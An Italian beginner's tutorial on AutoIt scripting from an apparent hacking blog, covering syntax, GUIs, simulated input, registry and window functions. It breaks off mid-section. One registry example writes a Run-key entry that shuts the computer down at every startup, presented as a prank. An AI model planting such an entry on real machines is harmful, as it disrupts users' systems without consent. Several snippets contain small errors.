Xthreme Hacking: 02/01/2010

Guida super ad AUTOIT

GUIDA 1

Ecoo la guida di AutoIT
Per cominciare a programmare è necessario avere gli strumenti giusti:

----------------------Installazione----
Scaricate da qui
AutoIt Full Installation
Questo pacchetto installerà nel vostro sistema:
-I file essenziali del programma AutoIt3
-L'utility Aut2Exe per convertire i vostri script AutoIt in Exe compilati
-L'addon AutoItX per gestire i controlli sulle COM e sulle DLL
-Una versione ridotta dell'editor SciTE con il riconoscimento automatico della sintassi di AutoIt

Installate l'eseguibile (durante l'installazione, scegliete di EDITARE i file .au3 con il doppio click)
Ora andate su start / Tutti i programmi / AutoIt v3 / SciTE Script Editor
Ok, questo è SciTE, salutate SciTE bambini [ciaoooo sciiite]
Cliccate su File / New, si aprirà un foglio virtuale. Dovete scrivere il vostro script qui.
Il file va salvato con estensione .AU3
Per eseguire il codice scritto dovete salvare in un file.au3 e poi andare in Tools / Go (in alternativa premete soltanto F5)

----------------------Let's-Code-------
----Hello-World--

Cominciamo con un Hello World! Si tratta semplicemente di creare un programma che si limiti a stampare a schermo la scritta Hello World

Digitate la seguente riga: (non copiatela e incollatela)

CODICE

Msgbox (0, "Io sono il titolo", "Hello World!")

Avrete tutti notato (tranne quei somari che hanno fatto copia-incolla Smile ) che appena aperta la parentesi SciTE vi ha mostrato una semplice descrizione della funzione e i possibili parametri che vanno passati
I parametri, separati da virgole dentro alle parentesi tonde, sono tutti obbligatori tranne quelli compresi tra parentesi quadre; quelli sono opzionali.
Ora prendiamo la riga che abbiamo scritto

CODICE

Msgbox (0, "Io sono il titolo", "Hello World!")

Abbiamo passato come primo parametro, flag 0; questo indica che non ci saranno icone o tasti speciali nella nostra msgbox
Come secondo e terzo parametro, title e text abbiamo passato una stringa alfanumerica. Le stringhe sono comprese tra gli apici, questi = > " "
Il quarto parametro opzionale indica il timeout ovvero il tempo che deve passare prima che la finestra si chiuda. Noi vogliamo che il nostro Hello World resti attivo fino a quando l'utente non prema [ OK ] quindi dobbiamo lasciare vuoto questo campo.

----Variabili-e-Macro--
Le variabili in AutoIt sono facilmente riconoscibili: una variabile comincia sempre con il simbolo del dollaro, questo = > $
Le variabili possono essere viste come delle scatole contenenti un valore.
Le variabili possono modificare il valore che contengono durante l'esecuzione del programma.
Per assegnare un valore a una variabile è sufficiente scrivere:

CODICE

$variabile = 6
$variabile = "stringa"

Nel primo caso la $variabile assumerà il valore 6, nel secondo caso assumerà valore "stringa"
Provate a scrivere

CODICE

$variabile = 6
Msgbox (0, "", $variabile)

e cambiate il valore di $variabile. Sperimentate! Very Happy

Ogni funzione ritorna sempre un valore.
Come esempio prenderemo StringUpper che ritorna la stringa inserita con i caratteri in maiuscolo.

CODICE

$string_upped = StringUpper ( "m2o: musica allo stato puro" )
Msgbox (0, "Fraev sta ascoltando:", $string_uppde)

Stiamo assegnando il valore ritornato da StringUpper alla variabile $string_upped.

Volendo possiamo perfino saltare un passaggio è scrivere direttamente

CODICE

Msgbox (0, "Fraev sta ascoltando:", StringUpper ( "m2o: musica allo stato puro" ))

Eh già, anche in AutoIt è possibile concatenare le funzioni

Le macro invece cominciano sempre con la chiocciola (questa = > @) e, al contrario delle variabili, il loro valore non può essere modificato dallo scripter.
Le macro possono rappresentare valori costanti o valori che possono variare con il tempo. Un esempio di Macro è dato da @ComputerName.
Provate a scrivere

CODICE

Msgbox (0, "Il nome del computer", @ComputerName)

Una variabile può assumere anche il valore di una macro
@YDAY indica il giorno dell'anno da 1 a 365/366

CODICE

$variabile = @YDAY
Msgbox (0, "Giorno dell'anno", $variabile)

Gli argomenti trattati sono davvero basilari... ma bisogna cominciare dalle cose semplici, no?

----Array--
Fino ad adesso abbiamo visto le variabili come delle scatole contenenti dei valori.
Gli array sono un insieme di scatole
Gli array in pratica sono dei gruppi di variabili ordinati.
Per popolare gli array (-> attribuire valori alle "scatole" degli array) si può scrivere:

CODICE

dim $array[5] = [8, 4, 5, 9, 1]

Per lavorare con gli array ci sono le funzioni e _Array*

----Operazioni-con-le-stringhe--
In AutoIt le stringhe possono essere unite tra loro usando il simbolo della E commerciale, questo = > &
Quindi se vorrò unire una variabile a una linea di testo sarà sufficiente scrivere

CODICE

$var= "io so"
$var2 = "no"
$var3 = "il"
$var4 = "na"
Msgbox (0, "Questo esempio fa schifo", $var & $var2 & " " & $var3 & " " & $var2 & $var2 & " " & $var4 & $var2)

Provate a indovinare cosa c'è scritto... senza eseguire il codice

Per andare a capo esiste la macro @CRLF
Anche le macro possono essere unite a una variabile o una stringa mediante &

CODICE

Msgbox (0, "Io non ho paura", "Io non ho paura di niente" & @CRLF & @CRLF & "..." & @CRLF & @CRLF & "tranne di

AutoIt")

lol, scusate, non so come faccio a inventarmi degli esempi del genere... mi sembra di essere persino sobrio

: D

Sulle stringhe è inoltre possibile utilizzare delle funzioni per modificarle.
Le funzioni per modificare le stringhe cominciano con String* e con _String*
Le funzioni sono di una semplicità unica. Inoltre gli esempi correlati spiegano molto bene come scrivere il codice.

Leggete bene l'help ufficiale.

Mi soffermerò un attimo solo su StringSplit per spiegare come usare le funzioni.

CODICE

$array = StringSplit ("Marta è bellissima", " ")

Questa funzione prende una stringa e. dato un certo delimitatore. ritorna un array dove $array[0] è uguale al numero

di valori presenti nell'array (senza contare zero) e $array[1] e gli altri sono uguali alle stringhe delimitate dal

delimitatore
Nel nostro caso il delimitatore è " " (lo spazio) quindi
$array[0]=3 $array[1]="Marta", $array[2]="è" e $array[3]="bellissima"

Questo è anche un buon metodo per popolare gli array

----Operazioni-con-i-files--
Come possiamo effettuare le più comuni operazioni sui files in AutoIt?
Le funzioni riguardanti i file iniziano con File* e con _File*
1. Aprire un file:
Per aprire un file possiamo usare il comando

CODICE

$handle_del_file = FileOpen ("nomefile.txt", $mode)

Da una funzione FileOpen ritorna sempre l'handle di un file che potrà essere usato in altre funzioni (FileRead per esempio.)
Il $mode specifica come stiamo aprendo quel file.
Se $mode è maggiore di 0 il file è aperto in Read mode e l'handle potrà essere usato in una funzione FileRead
Se $mode è uguale a 1 il file è aperto anche in Write Mode e l'handle potrà essere usato in una funzione FileWrite dove il testo verrà aggiunto alla fine del file
Se $mode è uguale a 2 il file è aperto anche in Write Mode e l'handle potrà essere usato in una funzione FileWrite dove il testo sovrascriverà il testo esistente

2. Scrivere in un file:
Per scrivere all'interno di un File possiamo usare FileWrite o FileWriteLine.
FileWriteLine è uguale a FileWrite ma aggiunge un @CRLF alla fine della stringa facendo andare a capo il puntatore
FileWrite(Line) può essere usato così

CODICE

FileWrite ($handle_del_file, "Wow sto scrivendo dentro nomefile.txt")

Oppure

CODICE

FileWrite ("nomefile.txt", "Wow sto scrivendo dentro nomefile.txt")

L'unica differenza è che usando l'handle del file è possibile tenere aperto il file.

3. Leggere un file:
Per leggere un file basta scrivere

CODICE

$testo = FileRead ($handle_del_file, 100)

;oppure

CODICE

$testo = FileRead ("nomefile.txt", 100)

il secondo parametro indica il numero di caratteri che devono essere letti
Se il secondo parametro è omesso verranno letti tutti i caratteri.
Se si vuole leggere una riga specifica è possibile usare

CODICE

$testo = FileReadLine ($handle_del_file, 5)

;oppure

CODICE

$testo = FileReadLine ("nomefile.txt", 5)

Il secondo parametro indica la linea da leggere

4. Chiudere un file:
Semplicemente

CODICE

FileClose ($handle_del_file)

5. Cancellare un file:
Basta usare

CODICE

FileDelete ("nomefile.txt")

Ovviamente esistono anche altre funzioni ma questo sono le principali e le più usate

--------Strutture-Selettive----
----If...Then...Else...ElseIf...EndIf--

CODICE

Msgbox (0, "fraev has been here", "ehi, $x è uguale a 0, non so niente di $y")
[Else]
Msgbox (0, "fraev has been here", "ehi, $x è diverso a 0, $y è diverso da 0")
Endif

CODICE

If $x=0 Then
Msgbox (0, "fraev has been here", "ehi, $x è uguale a 0, non so niente di $y")
[ElseIf $y=0] Then
Msgbox (0, "fraev has been here", "ehi, $x è diverso da 0, $y è uguale a 0")
[Else]
Msgbox (0, "fraev has been here", "ehi, $x è diverso a 0, $y è diverso da 0")
Endif

If...Endif verifica una condizione posta tra If e Then;
se la condizione risulta vera esegue il codice sotto a Then (fino alla successiva parola chiave)
Se invece risulta falso viene eseguito il codice sotto a Else (fino alla successiva parola chiave)
ElseIf è una particolare condizione; affinchè venga eseguito il codice sotto ElseIf la condizione tra If e Then deve essere falsa mentre la condizione tra ElseIf e Then deve essere vera
EndIf va posto alla fine di ogni struttura If .. . Endif

Fate delle prove, presto verrà tutto naturale.
Chi non sopporta l'inglese può tradurre mentalmente le parole in italiano:
If => Se
Then => Allora
Else => Altrimenti
Laughing sembra una cavolata ma può aiutare molto.

----Select...Case...EndSelect--

CODICE

Select
Case $x>1
Msgbox (0, "", "$x è maggiore di 1")
Case $x>10
Msgbox (0, "", "$x è maggiore di 10")
Case Else
Msgbox (0, "", "$x è minore o uguale a 1")
Endselect

Select...EndSelect verifica le condizioni dopo ad ogni case ed esegue il codice sotto il primo case che risulta vero
Nell'esempio non verrà mai fuori la finestra "$x è maggiore di 10" perchè prima si trova la condizione $x>1 (vera quando $x>10)

----Switch...Case...EndSwitch--

CODICE

Switch $x
Case 1 to 3
Msgbox (0, "", "$x è compreso tra 1 e 3")
Case 4 to 5
Msgbox (0, "", "$x è compreso tra 1 e 3")
Case 6
Msgbox (0, "", "$x è uguale a 6")
EndSwitch

Switch...EndSwitch si comporta in modo simile a Select...EndSelect
In questa struttura però viene preso in esame una sola variabile che viene scritta dopo Switch
Durante l'esecuzione viene verificato se il valore contenuto dentro alla variabile è compreso dentro un range di valori.
Questo campo è definito dopo ogni case.
Esempio:
"1 to 3" comprende 1, 2 e 3
Se $x è uguale a 1, 2 o 3 la condizione risulta vera e viene eseguito il codice sotto al primo Case

Definire un range non è obbligatorio; è possibile infatti specificare un solo valore

--------Strutture-Iterative----
----For...To...Step...Next--

CODICE

For $x = 5 to 35 step 5
Msgbox (0, "AhiAhiAhi", "Non mi vengono in mente " & $x & " esempi più stupidi di questo... -.-")
Next

Esegue il codice compreso tra For e Next incrementando ad ogni ciclo la variabile dichiarata dopo 'For' ($x) del valore dichiarato dopo 'step' (5), fino a quando non assume il valore dichiarato dopo 'to' (35)
Definire step non è obbligatorio; omettendo step il valore incrementa di 1

----While...WEnd--

CODICE

$counter = 0
$string = ""
While 1
$counter += 1
Switch $counter
Case 10
$string = @CRLF & "Cosa aspetti a terminarlo???"
Case 20
$string = @CRLF & "Cosa aspetti a terminarlo???" @CRLF & "Ma sei matto?"
Case 30
$string = @CRLF & "Cosa aspetti a terminarlo???" & @CRLF & "Ma sei matto?" & @CRLF & "Non hai niente di meglio da fare?"
Case 50
$string = @CRLF & "Cosa aspetti a terminarlo???" & @CRLF & "Ma sei matto?" & @CRLF & "Non hai niente di meglio da fare?" & @CRLF & "Povero demente..."
EndSwitch
Msgbox (0, "Ehi", "Questo codice andrà avanti all'infinito." & $string, 1)
Wend

Verifica la condizione posta dopo While e, se vera esegue il codice sottostante
Con While è possibile generare facilmente un ciclo infinito. Basta scrivere "While 1" cioè una condizione sempre vera

----Do...Until--

CODICE

$BabboNataleExists = FALSE
Do
Switch Msgbox (32+3, "Domanda: ", "Babbo Natale esiste?", 10) ; potevo anche scrivere Msgbox (35, ...)
Case 2
Msgbox (0, "Mah", "Ah, non sai rispondere, eh?")
Case 6
Msgbox (0, "Mhm", "Teoria interessante...")
$BabboNataleExists = TRUE
Case 7
Msgbox (0, "-_-", "Ok, pensala come vuoi")
$BabboNataleExists = FALSE ; riga inutile (dopo c'è un exit) ma era tanto per ricordare che Babbo Natale non esiste ;D
Exit
Case Else
Msgbox (0, "-_____-", "MUOVITI!!!", 30)
EndSwitch
Until $BabboNataleExists = TRUE

Esegue il codice compreso tra Do e Until fino a che non si verifica la condizione posta dopo Until
Ovviamente questa condizione può anche non verificarsi mai. Anche questo ciclo può quindi diventare un ciclo infinito...

----For...In...Next--

CODICE

Dim $array[5]
$array[0] = "Fraev"
$array[1] = "has"
$array[2] = "been"
$array[3] = "here..."
$array[4] = "and he's here now..."
Msgbox (48, "Attenzione", "Ora presenteremo il contenuto dell'array $array in 5 msgboxes." & @CRLF & "La visione e consigliata a un pubblico adulto non impressionabile." & @CRLF & "Buona visione." )
For $x in $array
Msgbox (0, "asd", $x)
Next

Esegue il codice compreso tra For e Next per ogni elemento di un array e attribuisce alla variabile compresa tra For e In tutti i valori dell'array

[questa struttura viene anche utilizzata per lavorare sugli objects... ne parleremo più avanti; se vi interessa consultate il manuale di AutoIt]

----Creare-una-GUI--

CODICE

#include

$Form = GUICreate("GUI", 216, 132)
$Label = GUICtrlCreateLabel("Che bella GUI! (senza doppisensi)", 24, 24, 163, 17)
$Button = GUICtrlCreateButton("Io penso di essere un bottone", 16, 72, 185, 33)

GUISetState(@SW_SHOW)

While 1
$Msg = GUIGetMsg()
Switch $Msg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

Creare un interfaccia grafica in AutoIt è molto semplice.
Quando si crea un Form è bene includere GUIConstants.au3 così da poter usufruire di alcune variabili già preaparate dal team di AutoIt

CODICE

#include

Ora passiamo alla creazione vera e propria del Form, la finestra del nostro programma. Per questo inseriamo la funzione GUICreate ("titolo")

CODICE

$Form = GUICreate("GUI", 216, 132)

Il primo parametro indica il titolo della finestra;
Il secondo e il terzo parametro indicano rispettivamente larghezza e altezza della nostra finestra;
Il quarto e quinto parametro indicano invece la posizione della finestra nello schermo;
il sesto e settimo parametro indicano gli stili della finestra, ovvero dei paramatri che consentono alla vostra finestra di assumere delle praticolari proprietà. Per un elenco completo di queste proprietà consultate l'help di AutoIt
L'ottavo parametro consente di indicare una finestra "madre" per la finestra creata

E' importante notare che solo il primo parametro è obbligatorio. Tutti gli altri parametri hanno un valore di default che verrà applicato nel caso manchi qualche parametro.

Usando il comando GUICreate () si crea l'handle della finestra (l'oggetto sul quale verranno creati i controlli)

Dopo aver creato la nostra finestrella, procediamo a popolarla di controlli (come bottoni, textbox, liste, etc)
Per creare un controllo in una finestra è sufficiente usare il comando GUICtrlCreate*
L'* va sostituito con il nome del controllo
Per creare un bottone (button in inglese Razz) ad esempio:

CODICE

$Button = GUICtrlCreateButton("Io penso di essere un bottone", 16, 72, 185, 33)

Il primo parametro indica il testo presente nel bottone
Il secondo e il terzo parametro indicano la posizione
Il quarto e il quinto parametro indicano la dimensione del controllo
il sesto e settimo parametro indicano gli stili del controllo, ovvero dei paramatri che consentono ai vostri controlli di assumere alcune prorprietà particolari

Questa è una sorta di traccia usata da molti controlli. Ovviamente alcuni controlli necessitano di più di un parametro ma le strutture dei GUICtrlCreate* sono molto simili tra loro

IMPORTANTE: Da un controllo ritorna sempre l'handle del controllo che verrà usato in seguito per gestire l'interazione con i controlli.

Dopo aver definito i controlli da usare nel Form settiamo lo stato della finestra con il comando

CODICE

GUISetState(@SW_SHOW)

A GUISetstate possono essere passati due parametri:
Il primo indica lo stato che la finestra deve assumere; il secondo indica l'handle della finestra in questione
Se il secondo parametro non viene inserito viene utilizzata l'ultimo form creato

Infine, la parte più divertente, definiamo cosa deve succedere quando l'utente preme un bottone o interagisce con un controllo.

Per questo dobbiamo usare un ciclo infinito: il programma controllerà ogni secondo se qualche controllo è stato usato e reagirà di conseguenza.

Bene, cominciamo a creare un ciclo infinito While...WEnd

CODICE

While 1

Wend

Poi utilizziamo la funzione GUIGetMsg() che rileva le interazioni con i controlli e diciamo al programma di salvare il suo valore dentro una variabile

CODICE

While 1
$Msg = GUIGetMsg ()

Wend

Ora creaiamo una struttura di selezione Switch sul valore di $Msg (ovvero le interazioni con i controlli)

$Msg assumerà il valore dell'handle del controllo che è stato usato, quindi organizziamo così il nostro Switch

CODICE

While 1
$Msg = GUIGetMsg ()
Switch $msg
Case $button
Msgbox (0, "Ehi!", "Vacci piano con quel mouse!" & @CRLF & "Noi poveri controlli ci pungiamo sempre")
EndSwitch
Wend

Bene solo un ultima cosa:
In AutoIt vengono attribuiti dei valori particolari ai tasti per ridimensionare, minimizzare e chiudere la finestra.
Per poterli usare è necessario includere GUIConstants.au3
Sono semplicemente delle variabili che possono essere usate come bottoni normali:

$GUI_EVENT_CLOSE = il tasto per chiudere la finestra
$GUI_EVENT_MINIMIZE = il tasto per minimizzare la finestra
$GUI_EVENT_RESTORE = il click sulla barra di windows per ripristinare la finestra
$GUI_EVENT_MAXIMIZE = il tasto per massimizzare la finestra

CODICE

While 1
$Msg = GUIGetMsg ()
Switch $msg
Case $button
Msgbox (0, "Ehi!", "Vacci piano con quel mouse!" & @CRLF & "Noi poveri controlli ci pungiamo sempre!!!")
Case $GUI_EVENT_CLOSE
Exit
EndSwitch
Wend

----Inviare-eventi-tastiera--
In questa lezione vedremo come inviare pressioni di tasti a windows (proprio come se qualcuno stesse usando la nostra tastiera e il nostro mouse)

Il primo comando che prenderemo in considerazione è Send("tasto") che invia delle combinazioni di tasti.

CODICE

[/CODE]
Send ("!x")

Se il secondo parametro viene settato a 1, i caratteri verranno inviati come sono scritti.
Questa modalità viene usata per inserire del testo; si è infatti sicuri che il testo inserito sarà uguale a ciò che risulterà in output

[CODE]Send ("#adi8wa(/(=/", 1)

darà come output #adi8wa(/(=/

Se il secondo parametro di Send è settato a 0 o è lasciato di default tutti i caratteri verranno inviati come vengono scritti tranne:
! = ALT
+ = SHIFT
^ = CTRL
# = WIN
e alcune combinazioni necessarie per indicare alcuni tasti speciali

CODICE

Send("^!x")

invierà CTRL+ALT+X

Nell'help ufficiale è presente una lista completa con tutti i caratteri speciali

E inoltre possibile dare particolari istruzioni a send:

CODICE

Send ("{A 4}")

invierà A 4 volte.

CODICE

Send("{a down}")

terrà schiacciato virtualmente il tasto a

CODICE

Send("{a up}")

rilascerà il tasto a

Con Numlock, CapsLock e SCrollLock toggle si possono usare anche le opzioni on/off/toggle per attivare e disattivare il lock
Send("{NumLock on}")
Send("{CapsLock off}")
Send("{ScrollLock toggle}")

----Inviare-eventi-mouse--
In AutoIt è possibile controllare il mouse attraverso alcune semplici funzioni:
MouseClick: Invia un click del mouse.

CODICE

MouseClick("left", 10, 10, 2, 20)

E' necessario impostare che tasto inviare ("Left","Right","Middle", etc) passando come primo parametro una stringa.
Il secondo e il terzo parametro individuano le coordinate x/y alle quali verrà effettuato il click
Il quarto parametro riguarda il numero di clicks da effetuare
Il quinto parametro invece indica la velocità[0-100] alla quale il mouse dovrà spostarsi alle coordinate x/y; 0 è istantaneo, 100 è il più lento

MouseCickDrag: Trascina il mouse da una coordinata a un altra

CODICE

MouseClickDrag("left", 10, 10, 20, 10, 0)

Il primo parametro indica il tasto che verrà utilizzato nella funzione
Il secondo e il terzo parametro individuano le coordinate x/y di partenza
Il quarto e il quinto parametro individuano le coordinate x/y di arrivo
Il sesto parametro indica ancora una volta la velocità[0-100]

MouseMove: Sposta il mouse

CODICE

Mousemove(10, 10, 100)

Il primo e il secondo parametro individuano le coordinate nelle quali le coordinate devono spostarsi
Il terzo parametro indica la velocità[0-100]

MouseGetPos: Ritorna informazioni sul mouse

CODICE

$array = MouseGetPos()
Msgbox (0, "Il tuo mouse è qui: ", "X: " & $array[0] & @CRLF & "Y: " & $array[1])

Se nessun parametro è specificato ritorna un array bidimensionale contenente in [0] la coordinata x e in [1] la coordinata y
Se viene specificato come primo parametro 0, ritorna la coordinata x; se viene specificato 1, ritorna y
MouseGetCursor: Ritorna il cursore del mouse
Trovate la lista completa nell'help ufficiale

MouseDown: Tiene premuto un tasto del mouse
Si passa come primo parametro il tasto da tenere premuto

MouseUp: Smette di premere un tasto del mouse
Si passa come primo parametro il tasto da "liberare"

MouseWheel: Invia lo scroll di una rotellina

CODICE

MouseWheel ( "down" ,23); questa è l'indicazione per l'inferno: down + [2/3=0.666666] :lol:

Come primo parametro si passa la direzione, "up" o "down"
COme secondo parametro il numero di volte che verra effettuato lo scroll (di default è 1)

_MouseTrap: Confina il mouse in un area di schermo ] : D

CODICE

#include
MsgBox (0, "Crea la tua prigione", "Indica i 2 angoli che delimiteranno la tua prigione")
Sleep (1000)
MsgBox (0, "Crea la tua prigione", "Indica l'angolo in alto a sinistra e premi [OK] usando [INVIO]")
$upleft = MouseGetPos ()
Sleep (1000)
MsgBox (0, "Crea la tua prigione", "Indica l'angolo in basso a destra e premi [OK] usando [INVIO]")
$downright = MouseGetPos ()
Sleep (2000)
MsgBox (0, "Crea la tua prigione", "Bene tra un attimo sarai in trappola!" & @CRLF & "Per uscire premi il tasto Home")
_MouseTrap ($upleft[0], $upleft[1], $downright[0], $downright[1])
While 1
If _IsPressed (24) Then
_MouseTrap ()
Exit
EndIf
WEnd

Questa funzione, semplicemente stupenda era in origine un UDF che è stato poi inserito nella versione ufficiale di AutoIt (lo si può capire dal _ che precede la funzione)
Per funzionare richiede Misc.au3
Bisogna solo passare le coordinate per l'angolo in alto a sinistra e per l'angolo in basso a destra

----Scrivere-leggere-e-cancellare-in-regedit--

Per scrivere un valore nel registro possiamo usare la funzione RegWrite

CODICE

RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", "Shutdown" , "REG_SZ", @WindowsDir & "System32RUNDLL32.EXE user.exe,exitwindows" )

Il primo parametro indica la posizione nella quale verrà creata la nostra chiave di registro
Il secondo parametro indica il nome della chiave
Il terzo parametro indica il tipo di chiave
Il quarto parametro indica il valore da scrivere nella chiave
Se verrà specificato solo il primo parametro verrà creata il percorso se non esistente

Sono sicuro che tutti abbiamo capito cosa fa il codice dell'esempio Laughing Laughing
Aggiunge all'avvio di Windows un collegamento che spegne il computer Twisted Evil

Per leggere un valore usiamo la funzione RegRead

CODICE

RegRead(HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", "Shutdown")

Con il primo parametro specifichiamo il percorso della chiave da leggere
Con il secondo invece indichiamo il nome della chiave

L'esempio ritornerà @WindowsDir & "System32RUNDLL32.EXE user.exe,exitwindows"

Per cancellare una chiave usiamo invece RegDelete

CODICE

RegDelete ("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun", "Shutdown")

Come abbiamo già visto in RegRead con il primo parametro specifichiamo il percorso della chiave da cancellare
Con il secondo invece indichiamo il nome della chiave da cancellare

----Operazioni sulle finestre--
Nelle precedenti abbiamo imparato a creare finestre; ora daremo un occhiata alla loro gestione.

Tutte le finestre di windows hanno un identificatore (handle) con i quali possiamo richiamare le finestre all'interno del programma

Prima di tutto vediamo come recuperare informazioni sulle finestre che vediamo.
Per raggiungere il nostro scopo usiamo il gruppo di funzioni WinGet*;
Con queste funzioni possiamo, dato il titolo e (se vogliamo) una parte del testo della finestra recuperare l'handle della finestra, l'id del

processo, il testo e il titolo esatto, la classe della finestra, etc...

CODICE

ProcessClose (WinGetProcess(InputBox ("Finestra da chiudere", "Inserisci il titolo della finestra da chiudere:")))

per coloro a cui non piace il codice precedente: Wink

CODICE

$title = InputBox ("Finestra da chiudere", "Inserisci il titolo della finestra da chiudere:")
$pid = WinGetProcess($title)
ProcessClose ($pid)

Piccola parentesi su WinGetTitle:
Se si specifica un titolo vuoto in WinGetTitle la funzione ritornerà il titolo della finestra attiva

WinGetTitle (""); finestra in primo piano

Piccola parentesi su WinGetState:
Per leggere lo stato di una finestra dobbiamo usare BitAND () in questo modo

CODICE

BitAND(WinGetState(WinGetTitle("")), $value)

con $value uguale al valore dello stato che ci interessa conoscere (date un occhio alla guida ufficiale per la tabella completa degli stati);
BitAND ritornerà 1 se lo stato è attivo nella finestra specificata, 0 in caso contrario

AutoIt mette nelle nostre mani da coder consumati delle funzioni decisamente potenti; possiamo eseguire molte operazioni sulle finestre
Con WinActivate possiamo dare il focus a una determinata finestra, con WinActive controlliamo se una finestra è attiva o meno;
Con WinClose chiudiamo una finestrea, con WinKill forziamo la sua chiusura;
Con WInlist recuperiamo un array bi-dimensionale contenente titoli e handle di tutte le finestre aperte (comprese le finestre nascoste);
Con WInMove possiamo spostare la nostra finestra;
Con il gruppo di funzioni WinWait* (-, Active, NotActive, Close) possiamo stoppare l'esecuzione dello script fino a quando una finestra non esista, sia attiva o venga chiusa
Con il gruppo di funzioni WinSet* possiamo settare stato, titolo, trasparenza e proprietà (come sempre in primo piano) di una finestra.

CODICE

WinWaitActive ("doh.txt")
WinSetTrans(WinGetTitle(""), "", 180)
WinSetOnTop (WinGetTitle(""), "", 1)

Per specificare il titolo in una funzione Win* esistono 4 modalità:
1. (default) controlla che il titolo di una finestra cominci per la stringa inserita
2. Controlla che nel titolo di una finestra sia presente la stringa inserita
3. Controlla che il titolo di una finestra sia perfettamente uguale alla stringa inserita
4. Controlla particolari campi di una finestra

il 4 metodo usa una sintassi particolare.
In una funzione, nel parametro titolo, sarà necessario inserire, [nome_del_campo:stringa-da-cercare-nel-campo]
nome_del campo può essere il titolo (TITLE), la classe (CLASS), etc (vedi guida ufficiale per la tabella dei campi)
stringa-da-cercare-nel-campo è invece la stringa che bisognerà ricercare nel campo specificato
Più campi possono essere separati dal punto e virgola

CODICE

WinClose("[LAST]")

CODICE

WinClose("[TITLE:7.hmtl ; CLASS:Notepad]")

Per selezionare un metodo possiamo usare Opt("WinTitleMatchMode", $numero_della_modalità)

CODICE

Opt("WinTitleMatchMode", 2)
$list = WinList ("")
For $x = 1 to $list[0][0]
WinSetTrans ("Mozilla-Firefox",150)
Next

Guida 2

Fonte:

Per lavorare in autoit bisogna avere il compilatore. Potete scaricarlo dal sito ufficiale ( http://www.autoitscript.com/autoit3/ )

.:|Le basi|:.

Per concatenare due elementi (variabili, costanti, ecc) si usa: &

Esempio:

CODICE

MsgBox(0,'titolo','Primo pezzo '&'Secondo pezzo, concatenato con '&'il primo e il terzo pezzo')

Qualsiasi funzione si scrive così:

CODICE

Funzione (parametro1,parametro2,parametro3,ecc)

Esempio:

CODICE

MsgBox(0,'titolo','testo')

Per andare a capo si usa la macro@CRLF o @CR

Includere le librerie è molto importante e x questo troviamo la funzione include.

Si usa così

CODICE

#include

.:|I commenti|:.

I commenti come in qualsiasi altro linguaggio di programazzione il compilatore non li riconosce ma serve solo al programmatore. I commenti possono essere di 2 tipi:

1- ;questo è il commento di primo tipo
2- #cs
commento su riga 1
commento su riga 2
#ce

.:|Le variabili|:.

Le variabili si distinguono perchè sono prececedute da il simbolo: $ (del dollaro)

Esempio:

CODICE

$var1
$var2
;no var

quali saranno le variabili in questo script? indovinatelo voi

Un'altro esempio (richiama la variabile):

CODICE

$titolo = 'Questo è il titolo'
$testo = 'Stai leggendo un testo'
MsgBox(0,$titolo,$testo)

Parlando delle variabili non possono mancare gli array. Gli array sono delle variabili contenti molti valori. Per dichiarare un array bisogna fare così:

CODICE

Dim $nomevariabile[valori] = [valore1,valore2,valore3,ecc]

Un array deve sempre essere preceduto da:

Dim
oppure
Global
oppure
Local

Dentro le prime parentesi quadre di questo esempio bisogna mettere il numero dei valori che contiene l'array. In quelle sucessive il valore1, due, ecc a seconda di quanti valori sono stati dichiarati prima.

Ora proviamo con un altro esempio (richiamiamo l'array):

CODICE

Dim $MioArray[5] = ['io ora','vado in','bagno','a','lavarmi']
For $i = 0 To 4
MsgBox(0,'Esempio',$i)
Next

.:|For, To, Next|:. semplificiamoci la vita!

Queste tre funzioni io le amo! Ti semplificano la vita! Quindi approfondiamole x bene. Iniziamo cn 1 esempio e poi spieghiamolo:

CODICE

For $i = 0 To 5
MsgBox(0,$i,'Il conto ora è: '&$i)
Next

For: Fisso, sempre all'inizio
$i = 0: La variabile $i indica il valore iniziale che poi aumentera progressivamente
To: Fisso, sempre dopo la variabile. Dopo il To c'è il valore a cui $i deve arrivare.

.:|Do, until|:.

Anche queste funzioni sono molto utili. Come al solito facciamo 1 esempio e poi spieghiamolo:

CODICE

$conto = 0
Do
MsgBox(0,'Esempio do until','Ora il conto è a: '&$conto&@CR&'Questo esempio finirà quando il conto sarà a 5')
$conto = $conto + 1
Until $conto = 6

Do: Do è fisso. Sta sempre all'inzio
Dopo do seguono tutte le altre istruzioni
Until: Le istruzioni continuano sempre finche non mettiamo la condizione dopo until.
Nell'esempio qui sopra, la serie di istruzioni finiscono quando il $conto arriva a 6

.:|While, Wend|:.

Questi 2 fattori sono utilissimi. Sono simili a Do e Until, ma servono principalmente nelle gui. (di queste parleremo dopo)

Esempio:

CODICE

While 1
MsgBox(0,'Esempio infinito','Questo esempio dura fino all'infinito')
Wend

.:|If, Else, ElseIf, EndIf, Then|:.

Questi fattori sono quasi indispensabili in un programma. Facciamo 1 esempio e spieghiamolo.

CODICE

$valore1 = InputBox('Numero','Inserisci un numero')
If $valore1 > 0 Then
MsgBox(0,'Positivo','Il numero inserito ('&$valore1&') è positivo')
ElseIf $valore1 < 0 Then
MsgBox(0,'Negativo','Il numero inserito ('&$valore1&') è negativo')
Else
MsgBox(0,'No','Non è stato inserito nessun numero')
EndIf

In questi casi è meglio tradurre nel linguaggio italiano per capire queste cose.

Se il valore immesso è maggiore di zero
..messaggio..
Invece, se il valore immesso è minore di zero
.. messaggio..
Invece (a tutte le condizioni)
non è stato inserito niente.

semplice no?

.:|GUI|:.

Cari i miei alunni, questa è la parte + importante di un programma decente.

Iniziamo con le sigle. Cosa vuol dire GUI?

G = Graphical
U = Human
I = Interface

In italiano l'interfaccia grafica.

La GUI si struttura così:

CODICE

#Include
$gui = GuiCreate('Titolo',300,200); così creo la gui

GuiSetState ( ); così faccio vedere la gui

While 1
Switch GuiGetMsg() ;importantissimo! ci deve essere sempre!
Case $GUI_EVENT_CLOSE; se premiamo il tasto di chiusura
Exit;esce
EndSwicth;serve!
Wend;serve!

Questo codice fa creare una finestra che quando si preme il tasto x chiudere si chiude.

Per vedere tutti i contolli andate nel help di autoit e vi viene una gui con tutte le cose possibili.

Alla finestra si può far "cambiare" aspetto. Usiamo sempre il codice di prima e cambiamo la 2° riga.

CODICE

